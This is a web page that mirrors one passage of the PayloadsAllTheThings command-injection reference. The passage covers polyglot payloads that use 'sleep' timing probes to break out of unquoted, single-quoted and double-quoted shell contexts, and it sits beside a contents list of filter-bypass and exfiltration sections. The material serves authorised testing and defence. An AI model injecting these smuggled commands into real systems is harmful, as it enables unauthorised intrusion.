Skip to content
BackEsc
Connect AISign inSign up free

Command Injection · passage 25 of 28

Polyglot Command Injection

Text · Command Injection/README.md

For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page.

Connect AI

Open this passage on GitHub

A polyglot is a piece of code that is valid and executable in multiple programming languages or environments simultaneously. When we talk about "polyglot command injection," we're referring to an injection payload that can be executed in multiple contexts or environments. * Example 1:

  Payload: 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}

  # Context inside commands with single and double quote:
  echo 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
  echo '1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
  echo "1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}

* Example 2:

  Payload: /*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/

  # Context inside commands with single and double quote:
  echo 1/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
  echo "YOURCMD/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/"
  echo 'YOURCMD/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/'

Source: Command Injection/README.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.

Every one of the 28 is a mark on the map. Named now: 1 to 26, reading order first.

  1. Command Injection§ 1text · README.md
  2. Methodology§ 21 code block · README.md
  3. Basic Commands§ 31 code block · README.md
  4. Chaining Commands§ 41 code block · README.md
  5. Argument Injection§ 51 code block · README.md
  6. Inside A Command§ 6text · README.md
  7. Bypass Without Space§ 7text · README.md
  8. Bypass With A Line Return§ 81 code block · README.md
  9. Bypass With Backslash Newline§ 9text · README.md
  10. Bypass With Tilde Expansion§ 101 code block · README.md
  11. Bypass With Brace Expansion§ 111 code block · README.md
  12. Bypass Characters Filter§ 121 code block · README.md
  13. Bypass Characters Filter Via Hex Encoding§ 131 code block · README.md
  14. Bypass With Single Quote§ 141 code block · README.md
  15. Bypass With Double Quote§ 151 code block · README.md
  16. Bypass With Backticks§ 161 code block · README.md
  17. Bypass With Backslash and Slash§ 171 code block · README.md
  18. Bypass With $@§ 181 code block · README.md
  19. Bypass With $()§ 191 code block · README.md
  20. Bypass With Variable Expansion§ 201 code block · README.md
  21. Bypass With Wildcards§ 211 code block · README.md
  22. Bypass With Random Case§ 221 code block · README.md
  23. Time Based Data Exfiltration§ 23text · README.md
  24. Dns Based Data Exfiltration§ 24text · README.md
  25. Polyglot Command Injection§ 25text · README.md
  26. Backgrounding Long Running Commands§ 261 code block · README.md

Zoom in on the map and the dots under the middle of it are named where they are.

Data as of 2026-11-15. CVE List through 2026-11-15 · EPSS of 2026-11-15 · CISA KEV checked 2026-11-15. Source: PayloadsAllTheThings by Swissky and contributors, MIT License. For authorised testing only.

CyberSIXTSignal over noise
Sign inSign up free

Updated